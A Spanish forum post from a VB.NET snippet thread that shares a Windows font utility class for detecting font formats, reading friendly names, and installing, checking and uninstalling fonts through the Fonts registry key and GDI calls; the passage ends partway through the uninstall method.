elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Asklepios y 3 Visitantes están viendo este tema.
Páginas: 1 ... 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 [61] Ir Abajo Respuesta Imprimir
Autor Tema: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)  (Leído 589,720 veces)
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.959



Ver Perfil
Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
« Respuesta #600 en: 31 Agosto 2025, 04:45 am »

Métodos universales para trabajar aspectos básicos con fuentes de texto (.ttf, .otf y .fon).



Aspectos destacables del código

     ◉ Nombres descriptivos y documentación extensa, no creo que requieran ejemplos de uso (de todas formas no me cabrían en este post).

     ◉ Ligeras micro optimizaciones para .NET 5+ mediante directiva del preprocesador (#If NETCOREAPP...)

Incluye varios métodos para:

     ◉ Instalar/desinstalar una fuente solamente para el usuario local, o de forma global. Para esto último es posible requerir permisos de administrador.

     ◉ Determinar si una fuente está actualmente instalada en el sistema operativo,
         identificando varios aspectos como si el nombre del archivo o el nombre de la fuente están registradas en el Registro de Windows.

     ◉ Determinar el formato de un archivo de fuente.
         Soporta los formatos: TrueType (.ttf), OpenType con contornos TrueType (.ttf), OpenType PostScript (CFF) (.otf), y raster/bitmap (.fon).

     ◉ Obtener el nombre amistoso completo de una fuente de texto,
         exactamente tal y como se muestra en la barra de título del visor de fuentes de Windows (FontView.exe).

     ◉ Obtener el nombre del archivo de recurso de fuente escalable (.FOT) a partir de un archivo de fuente.

En torno a la instalación y desinstalación de fuentes:

     ◉ Al instalar una fuente permite cargarla en memoria, con lo cual se enviará el mensaje correspondiente a todas las ventanas del sistema operativo para notificar de un cambio (una nueva fuente disponible), de tal forma que otros programas puedan reconocer y utilizar dicha fuente.

     ◉ Al instalar una fuente se identifica correctamente el formato TrueType u OpenType y se registra apropiadamente en el nombre de la clave de registro correspondiente. Se puede anular este comportamiento mediante un parámetro Boolean para que siempre se añada el sufijo "(TrueType)" al nombre de la clave de registro tal y como lo hace la shell de Windows indiferentemente de si la fuente es OpenType. Esto no se aplica a fuentes raster/bitmap (.fon).

     ◉ Al desinstalar una fuente, permite eliminar el archivo. Si no se puede eliminar al primer intento, se detiene temporalmente el "Servicio de caché de fuentes de Windows" ('FontCache') para evitar posibles bloqueos y reintentar la eliminación. Al finalizar la desinstalación, se reanuda el servicio.



Diferencias en los nombres de fuentes

Para entrar en contexto y ver las diferencias en perspectiva, y tomando como ejemplo la fuente de texto OpenType PostScript (CFF) "JustBreatheBoldObliqueseven-7vgw.otf" (descarga), estos son los resultados:

 ◉ Nombre de la clave de registro al instalar la fuente de forma tradicional mediante la shell de Windows 10 (Menú contextual -> Instalar):
Código:
Just Breathe Bold ObliqueSeven (TrueType)
(sí, pone 'TrueType' a pesar de ser una fuente OpenType CFF, sin contornos TrueType.)


 ◉ Nombre mostrado en la barra de título del visor de fuentes de Microsoft Windows (FontView.exe)
Código:
Just Breathe Bold ObliqueSeven (OpenType)



 ◉ Nombre devuelto por mi función GetFontFriendlyName, con sufijo:
Código:
Just Breathe Bold ObliqueSeven (OpenType)
(Siempre debería devolver el mismo nombre que en el visor de fuentes de Microsoft Windows, eso sí, sin espacios en blanco adicionales al final del nombre ni antes del paréntesis del sufijo, cosa que FontView.exe no tiene en cuenta, pero mi código sí.
Lo he comparado programaticamente con aprox. 14.000 fuentes de texto para asegurarme de su fiabilidad.)

 ◉ Nombre devuelto por mi función GetFontFriendlyName, sin sufijo:
Código:
Just Breathe Bold ObliqueSeven

 ◉ Nombre devuelto por mi función GetFontResourceName:
Código:
JustBreatheBdObl7
(A veces, GetFontResourceName devolverá el mismo nombre que GetFontFriendlyName sin sufijo, es decir, el nombre escrito en el recurso de fuente escalable puede ser idéntico.)

 ◉ Nombre devuelto utilizando una combinación de propiedades de la clase System.Windows.Media.GlyphTypeface:
Código:
Just Breathe BdObl7

El código utilizado:
Código
  1. Dim fontUri As New Uri("C:\JustBreatheBoldObliqueseven-7vgw.otf", UriKind.Absolute)
  2. Dim gtf As New System.Windows.Media.GlyphTypeface(fontUri)
  3. Dim fontName As String = String.Join(" "c, gtf.FamilyNames.Values)
  4. Dim fontFaceNames As String = String.Join(" "c, gtf.FaceNames.Values)
  5. Dim fullName As String = $"{fontName} {fontFaceNames}"
  6. Console.WriteLine(fullName)

 ◉ Nombre devuelto por las propiedades System.Drawing.Font.Name y System.Drawing.FontFamily.Name:
Código:
Just Breathe

 ◉ Nombre devuelto por las propiedades System.Drawing.Font.OriginalName y System.Drawing.Font.SystemName
Código:
NINGUNO (VALOR VACÍO EN ESTE CASO CONCRETO)



Acerca de fontreg.exe

Existe una herramienta por línea de comandos llamada "fontreg.exe" (GitHub) que funciona como un sustituto moderno —aunque ya algo anticuado— del obsoleto fontinst.exe de Microsoft Windows. Sin embargo, no la recomiendo para instalar fuentes de forma programática.

Para un usuario común, esta herramienta será más que suficiente, pero para un programador no es lo ideal por las siguientes razones:

 ◉ Su funcionamiento requiere que "fontreg.exe" se coloque en el mismo directorio donde se encuentran las fuentes,
     y al ejecutarlo instalará todas las fuentes del directorio sin permitir seleccionar una instalación de fuentes individuales.
 ◉ El programa no imprime mensajes de salida que sirvan para depurar la operación de instalación.
 ◉ No puedes saber si la fuente se instalará solo para el usuario actual (HKCU) o de manera global en el sistema (HKLM).

Además, he detectado varios fallos:

 ◉ En ocasiones extrae incorrectamente el nombre de la fuente, y, debido a esto,
     en algunos casos termina escribiendo caracteres ininteligibles en la clave de registro, ej.: "⿻⿷⿸⿹ (TrueType)",
     y ese es el nombre que verás al listar la fuente en tu editor de texto.
 ◉ Al igual que la shell de Windows al registrar el nombre de una fuente en el registro de Windows,
     no hace distinción entre TrueType y OpenType: siempre se añade el sufijo "(TrueType)".

Por estas razones, su uso en entornos programáticos o controlados no es ni productivo, ni confiable.



El código completo semi-completo (he tenido que eliminar mucha documentación XML ya que no me cabía en este post):

Librerías (paquetes NuGet) necesarias:
 ◉ WindowsAPICodePack
 ◉ System.ServiceProcess.ServiceController (solo para usuarios de .NET 5+)

Imports necesarios:
Código
  1. #If NETCOREAPP Then
  2. Imports System.Buffers.Binary
  3. #End If
  4.  
  5. Imports System.ComponentModel
  6. Imports System.Diagnostics.CodeAnalysis
  7. Imports System.IO
  8. Imports System.Runtime.InteropServices
  9. Imports System.Runtime.Versioning
  10. Imports System.Security
  11. Imports System.ServiceProcess
  12. Imports System.Text
  13.  
  14. Imports Microsoft.Win32
  15.  
  16. Imports Microsoft.WindowsAPICodePack.Shell
  17.  
  18. Imports DevCase.Win32
  19. Imports DevCase.Win32.Enums

Clases secundarias requeridas:

Código
  1. #Region " Constants "
  2.  
  3. Namespace DevCase.Win32.Common.Constants
  4.  
  5.    <HideModuleName>
  6.    Friend Module Constants
  7.  
  8. #Region " Window Messaging "
  9.  
  10.        ''' <summary>
  11.        ''' Handle to use with window messaging functions.
  12.        ''' <para></para>
  13.        ''' When used, the message is sent to all top-level windows in the system,
  14.        ''' including disabled or invisible unowned windows, overlapped windows, and pop-up windows;
  15.        ''' but the message is not sent to child windows.
  16.        ''' </summary>
  17.        Friend ReadOnly HWND_BROADCAST As New IntPtr(65535US)
  18.  
  19. #End Region
  20.  
  21.    End Module
  22.  
  23. End Namespace
  24.  
  25. #End Region

Código
  1. #Region " Window Messages "
  2.  
  3. Namespace DevCase.Win32.Enums
  4.  
  5.    Friend Enum WindowMessages As Integer
  6.  
  7.        ''' <summary>
  8.        ''' An application sends the message to all top-level windows in the system after changing the
  9.        ''' pool of font resources.
  10.        ''' </summary>
  11.        WM_FontChange = &H1D
  12.  
  13.    End Enum
  14.  
  15. End Namespace
  16.  
  17. #End Region

Código
  1. #Region " NativeMethods "
  2.  
  3. Namespace DevCase.Win32.NativeMethods
  4.  
  5.    <SuppressUnmanagedCodeSecurity>
  6.    Friend Module Gdi32
  7.  
  8.        <DllImport("GDI32.dll", SetLastError:=False, CharSet:=CharSet.Auto, ThrowOnUnmappableChar:=True, BestFitMapping:=False)>
  9.        Friend Function AddFontResource(fileName As String
  10.        ) As Integer
  11.        End Function
  12.  
  13.        <DllImport("GDI32.dll", SetLastError:=True, CharSet:=CharSet.Auto, ThrowOnUnmappableChar:=True, BestFitMapping:=False)>
  14.        Friend Function RemoveFontResource(fileName As String
  15.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  16.        End Function
  17.  
  18.    End Module
  19.  
  20.    <SuppressUnmanagedCodeSecurity>
  21.    Friend Module User32
  22.  
  23.        <DllImport("User32.dll", SetLastError:=True)>
  24.        Friend Function SendMessage(hWnd As IntPtr,
  25.                                    msg As WindowMessages,
  26.                                    wParam As IntPtr,
  27.                                    lParam As IntPtr
  28.        ) As IntPtr
  29.        End Function
  30.  
  31.    End Module
  32.  
  33. End Namespace
  34.  
  35. #End Region

Clase principal 'UtilFonts', que contiene los métodos universales (y otros miembros relacionados) en torno a fuentes de texto:

Código
  1. Public Class UtilFonts
  2.  
  3.    ''' <summary>
  4.    ''' Magic number located at the beginning of a TrueType font (.ttf) file header.
  5.    ''' </summary>
  6.    Private Shared ReadOnly TT_MAGIC As Byte() = {
  7.        &H0, &H1, &H0, &H0
  8.    }
  9.  
  10.    ''' <summary>
  11.    ''' Magic number located at the beginning of a TrueType font (.ttf) file header
  12.    ''' that starts with ASCII string "true".
  13.    ''' </summary>
  14.    Private Shared ReadOnly TT_MAGIC_TRUE As Byte() = {
  15.        &H74, &H72, &H75, &H65  ' "true"
  16.    }
  17.  
  18.    ''' <summary>
  19.    ''' Magic number located at the beginning of an OpenType font with CFF (PostScript) outlines (.otf) file header.
  20.    ''' <para></para>
  21.    ''' This distinguishes them from OpenType-TT fonts.
  22.    ''' </summary>
  23.    Private Shared ReadOnly OT_MAGIC As Byte() = {
  24.        &H4F, &H54, &H54, &H4F ' "OTTO"
  25.    }
  26.  
  27.    ''' <summary>
  28.    ''' Retrieves a user-friendly name for a given font file,
  29.    ''' that is identical to the 'Title' property shown by Windows Explorer,
  30.    ''' allowing to provide consistent font identification in your application.  
  31.    ''' </summary>
  32.    '''
  33.    ''' <param name="fontFile">
  34.    ''' The path to the font file (e.g., <b>"C:\font.ttf"</b>).
  35.    ''' </param>
  36.    '''
  37.    ''' <param name="includeSuffix">
  38.    ''' If <see langword="True"/>, includes a suffix that specifies
  39.    ''' the underlying font technology (e.g., "Font name <c>(TrueType)</c>", "Font name <c>(OpenType)</c>"),
  40.    ''' ensuring that the font name matches exactly the name shown in Microsoft's Windows Font Viewer (FontView.exe) title bar.
  41.    ''' </param>
  42.    '''
  43.    ''' <returns>
  44.    ''' The user-friendly name for the given font file.
  45.    ''' </returns>
  46.    <DebuggerStepThrough>
  47.    Public Shared Function GetFontFriendlyName(fontFile As String, includeSuffix As Boolean) As String
  48.  
  49.        If Not File.Exists(fontFile) Then
  50.            Dim msg As String = $"The font file does not exist: '{fontFile}'"
  51.            Throw New FileNotFoundException(msg, fontFile)
  52.        End If
  53.  
  54.        Dim fontTitle As String = ShellFile.FromFilePath(fontFile).Properties.System.Title.Value.Trim()
  55.        If String.IsNullOrWhiteSpace(fontTitle) Then
  56.            Dim msg As String = "'Title' property for the given font is empty."
  57.            Throw New FormatException(msg)
  58.        End If
  59.  
  60.        If includeSuffix Then
  61.            Dim fontType As FontType = UtilFonts.GetFontType(fontFile)
  62.            Select Case fontType
  63.  
  64.                Case FontType.Invalid
  65.                    Dim msg As String = "File does not seems a valid font file (file size is too small)."
  66.                    Throw New FileFormatException(msg)
  67.  
  68.                Case FontType.Unknown
  69.                    Dim msg As String = "Font file type is not recognized. " &
  70.                                        "It might be an unsupported format, corrupted file Or Not a valid font file."
  71.                    Throw New FileFormatException(msg)
  72.  
  73.                Case FontType.TrueType
  74.                    Return $"{fontTitle} (TrueType)"
  75.  
  76.                Case FontType.OpenTypeCFF, FontType.OpenTypeTT
  77.                    Return $"{fontTitle} (OpenType)"
  78.  
  79.                Case Else ' FontType.Raster
  80.                    ' Nothing to do.
  81.            End Select
  82.        End If
  83.  
  84.        Return fontTitle
  85.    End Function
  86.  
  87.    ''' <summary>
  88.    ''' Determines the type of a font file.
  89.    ''' <para></para>
  90.    ''' Supports TrueType (.ttf), OpenType (.otf/.ttf) and Raster/Bitmap (.fon).
  91.    ''' </summary>
  92.    '''
  93.    ''' <param name="fontFile">
  94.    ''' The path to the font file (e.g., <b>"C:\font.ttf"</b>).
  95.    ''' </param>
  96.    '''
  97.    ''' <returns>
  98.    ''' A <see cref="FontType"/> value indicating the font type of the given file.
  99.    ''' <para></para>
  100.    ''' If the font type cannot be recognized, it returns <see cref="FontType.Unknown"/>.
  101.    ''' <para></para>
  102.    ''' If the given file does not meet the criteria to be treated as a font file, it returns <see cref="FontType.Invalid"/>.
  103.    ''' </returns>
  104.    <DebuggerStepThrough>
  105.    Public Shared Function GetFontType(fontFile As String) As FontType
  106.  
  107.        If Not File.Exists(fontFile) Then
  108.            Dim msg As String = $"The font file does not exist: '{fontFile}'"
  109.            Throw New FileNotFoundException(msg, fontFile)
  110.        End If
  111.  
  112.        ' 512 bytes is the minimum length I found sufficient
  113.        ' to reliably read the header of any raster (.fon) font file
  114.        ' to find its string markers that identifies this file type.
  115.        Const minFontFileLength As Short = 512
  116.  
  117.        Dim fi As New FileInfo(fontFile)
  118.        If fi.Length <= minFontFileLength Then
  119.            Return FontType.Invalid
  120.        End If
  121.  
  122.        Try
  123.            Using fs As FileStream = fi.OpenRead(),
  124.                  br As New BinaryReader(fs)
  125.  
  126.                Dim headerBytes As Byte() = br.ReadBytes(4)
  127.  
  128.                ' TrueType check.
  129.                If headerBytes.SequenceEqual(UtilFonts.TT_MAGIC) OrElse
  130.                   headerBytes.SequenceEqual(UtilFonts.TT_MAGIC_TRUE) Then
  131.  
  132.                    ' OpenType-TT check
  133.                    br.BaseStream.Seek(4, SeekOrigin.Begin)
  134. #If NETCOREAPP Then
  135.                    Dim numTables As UShort = BinaryPrimitives.ReverseEndianness(br.ReadUInt16())
  136. #Else
  137.                    ' Read two bytes directly.
  138.                    Dim bytes As Byte() = br.ReadBytes(2)
  139.                    ' If the system is little-endian, reverse the bytes to interpret as big-endian.
  140.                    If BitConverter.IsLittleEndian Then
  141.                        Array.Reverse(bytes)
  142.                    End If
  143.                    ' Now get the UShort value in big-endian.
  144.                    Dim swapped As UShort = BitConverter.ToUInt16(bytes, 0)
  145.                    Dim numTables As UShort = swapped
  146. #End If
  147.                    br.BaseStream.Seek(6, SeekOrigin.Current) ' skip: searchRange, entrySelector, rangeShift
  148.                    ' Search advanced OpenType tables.
  149.                    For i As Integer = 0 To numTables - 1
  150.                        Dim tag As String = Encoding.ASCII.GetString(br.ReadBytes(4))
  151.                        br.ReadBytes(12) ' checkSum, offset, length
  152.                        If tag = "GSUB" OrElse tag = "GPOS" OrElse tag = "GDEF" OrElse tag = "BASE" Then
  153.                            Return FontType.OpenTypeTT
  154.                        End If
  155.                    Next
  156.  
  157.                    Return FontType.TrueType
  158.                End If
  159.  
  160.                ' OpenType CFF check.
  161.                If headerBytes.SequenceEqual(UtilFonts.OT_MAGIC) Then
  162.                    Return FontType.OpenTypeCFF
  163.                End If
  164.  
  165.                ' Raster/Bitmap check.
  166.                br.BaseStream.Seek(0, SeekOrigin.Begin)
  167.                headerBytes = br.ReadBytes(minFontFileLength)
  168.                Dim headerText As String = Encoding.ASCII.GetString(headerBytes)
  169.                If headerText.Contains("FONTDIR") AndAlso
  170.                   headerText.Contains("FONTRES") Then
  171.                    Return FontType.Raster
  172.                End If
  173.  
  174.            End Using
  175.  
  176.        Catch ex As Exception
  177.            Throw
  178.  
  179.        End Try
  180.  
  181.        Return FontType.Unknown
  182.    End Function
  183.  
  184.    ''' <summary>
  185.    ''' Specifies the type of a font file.
  186.    ''' </summary>
  187.    Public Enum FontType As Short
  188.  
  189.        ''' <summary>
  190.        ''' A TrueType font (.ttf).
  191.        ''' <para></para>
  192.        ''' This is the traditional TrueType format developed by Apple™.
  193.        ''' </summary>
  194.        TrueType
  195.  
  196.        ''' <summary>
  197.        ''' An OpenType font with PostScript (CFF) outlines (.otf).
  198.        ''' <para></para>
  199.        ''' These fonts use the .otf container from the OpenType format jointly developed by Adobe™ and Microsoft™.
  200.        ''' </summary>
  201.        OpenTypeCFF
  202.  
  203.        ''' <summary>
  204.        ''' An OpenType font with TrueType outlines (.ttf).
  205.        ''' <para></para>
  206.        ''' Technically OpenType, but uses TrueType outlines inside a .ttf container.
  207.        ''' <para></para>
  208.        ''' Sometimes called 'OpenType-TT' for distinction.
  209.        ''' </summary>
  210.        OpenTypeTT
  211.  
  212.        ''' <summary>
  213.        ''' A Raster / Bitmap font (.fon) with fixed-size glyphs.
  214.        ''' <para></para>
  215.        ''' Raster fonts store each character as a pixel grid, not as scalable outlines.
  216.        ''' <para></para>
  217.        ''' These were commonly used in older versions of Windows and DOS, and are mostly legacy fonts today.
  218.        ''' </summary>
  219.        Raster
  220.  
  221.        ''' <summary>
  222.        ''' Font file type is not recognized.
  223.        ''' <para></para>
  224.        ''' It might be an unsupported format, corrupted file or not a valid font file.
  225.        ''' </summary>
  226.        Unknown
  227.  
  228.        ''' <summary>
  229.        ''' File does not seems a valid font file (file size is too small).
  230.        ''' </summary>
  231.        Invalid
  232.  
  233.    End Enum
  234.  
  235.    ''' <summary>
  236.    ''' Determines whether a font file is already installed in the current computer.
  237.    ''' </summary>
  238.    '''
  239.    ''' <param name="fontFilePathOrName">
  240.    ''' Either the full path to the font file or just the file name
  241.    ''' (e.g., <b>"C:\font.ttf"</b> or else <b>"font.ttf"</b>).
  242.    ''' </param>
  243.    '''
  244.    ''' <param name="systemWide">
  245.    ''' If <see langword="True"/>, performs a system-wide search for the font installation (under <c>HKEY_LOCAL_MACHINE</c> base key).
  246.    ''' otherwise, searches only the current user's installed fonts (under <c>HKEY_CURRENT_USER</c> base key).
  247.    ''' </param>
  248.    '''
  249.    ''' <returns>
  250.    ''' If the font file is not installed, returns <see cref="CheckFontInstallationResults.NotInstalled"/>;
  251.    ''' otherwise, can return a combination of <see cref="CheckFontInstallationResults"/> values.
  252.    ''' </returns>
  253.    <DebuggerStepThrough>
  254.    Public Shared Function CheckFontInstallation(fontFilePathOrName As String, systemWide As Boolean) As CheckFontInstallationResults
  255.  
  256.        Dim fontFilePath As String = UtilFonts.BuildFullFontFilePath(fontFilePathOrName, systemWide)
  257.        Dim fontFileName As String = Path.GetFileName(fontFilePath)
  258.        Dim fontTitle As String = UtilFonts.GetFontFriendlyName(fontFilePath, includeSuffix:=False)
  259.  
  260.        Dim fontTitleTT As String = $"{fontTitle} (TrueType)"
  261.        Dim fontTitleOT As String = $"{fontTitle} (OpenType)"
  262.  
  263.        Dim result As CheckFontInstallationResults = CheckFontInstallationResults.NotInstalled
  264.  
  265.        Dim baseKey As RegistryKey = If(systemWide, Registry.LocalMachine, Registry.CurrentUser)
  266.        Dim regKeyPath As String = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts"
  267.  
  268.        Try
  269.            Using key As RegistryKey = baseKey.OpenSubKey(regKeyPath, writable:=False)
  270.                ' Fonts registry key does not exists.
  271.                If key Is Nothing Then
  272.                    Exit Try
  273.                End If
  274.  
  275.                Dim valueFontTitle As Object = CStr(key.GetValue(fontTitle))
  276.                Dim valueFontTitleTT As Object = CStr(key.GetValue(fontTitleTT))
  277.                Dim valueFontTitleOT As Object = CStr(key.GetValue(fontTitleOT))
  278.  
  279.                Dim fontTitles() As String = {fontTitle, fontTitleTT, fontTitleOT}
  280.                For Each title As String In fontTitles
  281.  
  282.                    Dim regValue As Object = key.GetValue(title, Nothing, RegistryValueOptions.DoNotExpandEnvironmentNames)
  283.  
  284.                    ' Font title found in registry
  285.                    If regValue IsNot Nothing Then
  286.                        result = result Or CheckFontInstallationResults.FontTitleFound
  287.  
  288.                        ' Font file matches?
  289.                        If String.Equals(CStr(regValue), fontFileName, StringComparison.OrdinalIgnoreCase) Then
  290.                            result = result Or CheckFontInstallationResults.FileNameFound
  291.                        End If
  292.                    End If
  293.  
  294.                    If result = (CheckFontInstallationResults.FontTitleFound Or CheckFontInstallationResults.FileNameFound) Then
  295.                        Exit For
  296.                    End If
  297.                Next
  298.  
  299.                If Not result.HasFlag(CheckFontInstallationResults.FileNameFound) Then
  300.                    ' Additional check required for consistency because the font file name
  301.                    ' could be specified in a value name that differs from the compared font title vale names.
  302.                    Dim valueNames As String() = Array.ConvertAll(key.GetValueNames(), Function(str As String) str.ToLowerInvariant())
  303.                    If valueNames.Contains(fontFileName.ToLowerInvariant()) Then
  304.                        result = result Or CheckFontInstallationResults.FileNameFound
  305.                    End If
  306.                End If
  307.  
  308.            End Using
  309.  
  310.        Catch ex As Exception
  311.            Throw
  312.  
  313.        End Try
  314.  
  315.        Return result
  316.    End Function
  317.  
  318.    ''' <summary>
  319.    ''' Specifies the installation status of a font file on the current computer.
  320.    ''' </summary>
  321.    <Flags>
  322.    Public Enum CheckFontInstallationResults As Short
  323.  
  324.        ''' <summary>
  325.        ''' The font is not installed.
  326.        ''' </summary>
  327.        NotInstalled = 0S
  328.  
  329.        ''' <summary>
  330.        ''' A registry value with the font file name is present in the Windows <b>Fonts</b> registry key.
  331.        ''' </summary>
  332.        FileNameFound = 1S << 0S
  333.  
  334.        ''' <summary>
  335.        ''' A registry value name with the font title
  336.        ''' (which also may have suffix: "<b>(TrueType)</b>" or "<b>(OpenType)</b>")
  337.        ''' is present in the Windows <b>Fonts</b> registry key.
  338.        ''' </summary>
  339.        FontTitleFound = 1S << 1S
  340.  
  341.    End Enum
  342.  
  343.    ''' <summary>
  344.    ''' Installs a font file permanently on the current computer.
  345.    ''' </summary>
  346.    '''
  347.    ''' <param name="fontFile">
  348.    ''' The path to the font file to install (e.g., <b>"C:\font.ttf"</b>).
  349.    ''' </param>
  350.    '''
  351.    ''' <param name="systemWide">
  352.    ''' If <see langword="True"/>, performs a system-wide installation;
  353.    ''' otherwise, installs the font for the current user only.
  354.    ''' </param>
  355.    '''
  356.    ''' <param name="useTrueTypeNameSuffix">
  357.    ''' If <see langword="True"/>, appends the "<b>(TrueType)</b>" suffix when
  358.    ''' naming the font registry value for TrueType and OpenType fonts.
  359.    ''' This is what Microsoft Windows does by default.
  360.    ''' <para></para>
  361.    ''' If <see langword="False"/>, appends the appropriate suffix for the font type: "<b>(TrueType)</b>" or "<b>(OpenType)</b>".
  362.    ''' <para></para>
  363.    ''' This setting does not apply to .fon files.
  364.    ''' </param>
  365.    '''
  366.    ''' <param name="addFontToSystemTable">
  367.    ''' If <see langword="True"/>, the font resource is loaded into memory and immediately available to other applications.
  368.    ''' </param>
  369.    <DebuggerStepThrough>
  370.    Public Shared Sub InstallFont(fontFile As String, systemWide As Boolean, useTrueTypeNameSuffix As Boolean, addFontToSystemTable As Boolean)
  371.  
  372.        Dim isFontInstalled As Boolean
  373.        Try
  374.            isFontInstalled = (UtilFonts.CheckFontInstallation(fontFile, systemWide) <> UtilFonts.CheckFontInstallationResults.NotInstalled)
  375.  
  376.        Catch ex As FileNotFoundException
  377.            ' Use this exception message for readness, since CheckFontInstallation calls BuildFullFontFilePath, which modifies the path.
  378.            Dim msg As String = $"The font file does not exist: '{fontFile}'"
  379.            Throw New FileNotFoundException(msg, fontFile)
  380.  
  381.        Catch ex As Exception
  382.            Throw
  383.        End Try
  384.  
  385.        If isFontInstalled Then
  386.            Dim msg As String = $"The font file is already installed: '{fontFile}'"
  387.            Throw New InvalidOperationException(msg)
  388.        End If
  389.  
  390.        Dim fontFileName As String = Path.GetFileName(fontFile)
  391.        Dim fontTitle As String = UtilFonts.GetFontFriendlyName(fontFile, includeSuffix:=True)
  392.        If useTrueTypeNameSuffix Then
  393.            fontTitle = fontTitle.Replace(" (OpenType)", " (TrueType)")
  394.        End If
  395.  
  396.        Dim fontsDir As String = If(systemWide,
  397.            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Fonts"),
  398.            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\Windows\Fonts"))
  399.  
  400.        If Not Directory.Exists(fontsDir) Then
  401.            Directory.CreateDirectory(fontsDir)
  402.        End If
  403.  
  404.        Dim fontFileDestPath As String = Path.Combine(fontsDir, fontFileName)
  405.        If File.Exists(fontFileDestPath) Then
  406.            Dim msg As String = $"Font file already exists in Fonts directory: {fontFileDestPath}"
  407.            Throw New InvalidOperationException(msg)
  408.        End If
  409.  
  410.        Try
  411.            File.Copy(fontFile, fontFileDestPath, overwrite:=False)
  412.        Catch ex As Exception
  413.            Dim msg As String = $"Error copying font file to Fonts directory: '{fontFileDestPath}'"
  414.            Throw New IOException(msg, ex)
  415.        End Try
  416.  
  417.        Dim baseKey As RegistryKey = If(systemWide, Registry.LocalMachine, Registry.CurrentUser)
  418.        Dim regKeyPath As String = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts"
  419.  
  420.        Dim registrySuccess As Boolean
  421.        Try
  422.            Using key As RegistryKey = baseKey.CreateSubKey(regKeyPath, writable:=True)
  423.                key.SetValue(fontTitle, fontFileName, RegistryValueKind.String)
  424.            End Using
  425.            registrySuccess = True
  426.  
  427.        Catch ex As Exception
  428.            Throw
  429.  
  430.        Finally
  431.            If Not registrySuccess Then
  432.                ' Attempt to delete the copied font file in Fonts directory
  433.                ' when registry manipulation has failed.
  434.                Try
  435.                    File.Delete(fontFileDestPath)
  436.                Catch
  437.                    ' Ignore deletion exceptions; cleanup best effort.
  438.                End Try
  439.            End If
  440.        End Try
  441.  
  442.        ' Add the font to the system font table.
  443.        If addFontToSystemTable Then
  444.            Dim fontsAdded As Integer = DevCase.Win32.NativeMethods.AddFontResource(fontFileDestPath)
  445.            Dim win32Err As Integer = Marshal.GetLastWin32Error()
  446.  
  447.            If fontsAdded = 0 OrElse win32Err <> 0 Then
  448.                Dim msg As String = $"Failed to add font to the system font table '{fontFileDestPath}'"
  449.                Throw New InvalidOperationException(msg, New Win32Exception(win32Err))
  450.            End If
  451.  
  452.            ' Notify all top-level windows so they can immediately list the added font.
  453.            DevCase.Win32.NativeMethods.SendMessage(DevCase.Win32.Common.Constants.HWND_BROADCAST, WindowMessages.WM_FontChange, IntPtr.Zero, IntPtr.Zero)
  454.        End If
  455.  
  456.    End Sub
  457.  
  458.    ''' <summary>
  459.    ''' Uninstalls a font file from the current computer.
  460.    ''' </summary>
  461.    '''
  462.    ''' <param name="fontFilePathOrName">
  463.    ''' Either the full path to the font file or just the file name
  464.    ''' (e.g., <b>"C:\font.ttf"</b> or else <b>"font.ttf"</b>).
  465.    ''' </param>
  466.    '''
  467.    ''' <param name="systemWide">
  468.    ''' If <see langword="True"/>, performs a system-wide uninstallation;
  469.    ''' otherwise, uninstalls the font for the current user only.
  470.    ''' </param>
  471.    '''
  472.    ''' <param name="deleteFile">
  473.    ''' If <see langword="True"/>, permanently deletes the font file from disk.
  474.    ''' <para></para>
  475.    ''' Note: The font file deletion will be performed after deleting associated registry values with the font file.
  476.    ''' </param>
  477.    <DebuggerStepThrough>
  478.    Public Shared Sub UninstallFont(fontFilePathOrName As String, systemWide As Boolean, deleteFile As Boolean)
  479.  
  480.        Dim fontFilePath As String = UtilFonts.BuildFullFontFilePath(fontFilePathOrName, systemWide)
  481.        Dim fontFileName As String = Path.GetFileName(fontFilePath)
  482.  
  483.        Dim checkFontInstallation As CheckFontInstallationResults = UtilFonts.CheckFontInstallation(fontFilePath, systemWide)
  484.        Dim isFontInstalled As Boolean = (checkFontInstallation <> UtilFonts.CheckFontInstallationResults.NotInstalled)
  485.        If Not isFontInstalled Then
  486.            Dim msg As String = $"The font file is not installed: '{fontFilePath}'"
  487.            Throw New InvalidOperationException(msg)
  488.        End If
  489.  
  490.        Dim fontTitle As String = UtilFonts.GetFontFriendlyName(fontFilePath, includeSuffix:=False)
  491.        Dim fontTitleTT As String = $"{fontTitle} (TrueType)"
  492.        Dim fontTitleOT As String = $"{fontTitle} (OpenType)"
  493.  
  494.        Dim baseKey As RegistryKey = If(systemWide, Registry.LocalMachine, Registry.CurrentUser)
  495.        Dim regKeyPath As String = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts"
  496.  
  497.        Try
  498.            Using key As RegistryKey = baseKey.OpenSubKey(regKeyPath, writable:=True)
  499.  
  500.                Dim valueNames As String() = key.GetValueNames()
  501.  
  502.                ' Compare font title.
  503.                If checkFontInstallation.HasFlag(CheckFontInstallationResults.FontTitleFound) Then
  504.                    If valueNames.Contains(fontTitle) Then
  505.                        key.DeleteValue(fontTitle, throwOnMissingValue:=True)
  506.  
  507.                    ElseIf valueNames.Contains(fontTitleTT) Then
  508.                        key.DeleteValue(fontTitleTT, throwOnMissingValue:=True)
  509.  
  510.                    ElseIf valueNames.Contains(fontTitleOT) Then
  511.                        key.DeleteValue(fontTitleOT, throwOnMissingValue:=True)
  512.  
  513.                    End If
  514.  
  515.                ElseIf checkFontInstallation.HasFlag(CheckFontInstallationResults.FileNameFound) Then
  516.                    For Each valueName As String In valueNames
  517.                        ' Compare font file name.
  518.                        Dim value As String = CStr(key.GetValue(valueName))
  519.                        If String.Equals(value, fontFileName, StringComparison.OrdinalIgnoreCase) Then
  520.                            key.DeleteValue(valueName, throwOnMissingValue:=True)
  521.                            Exit For
  522.                        End If
  523.                    Next
  524.  
  525.                End If
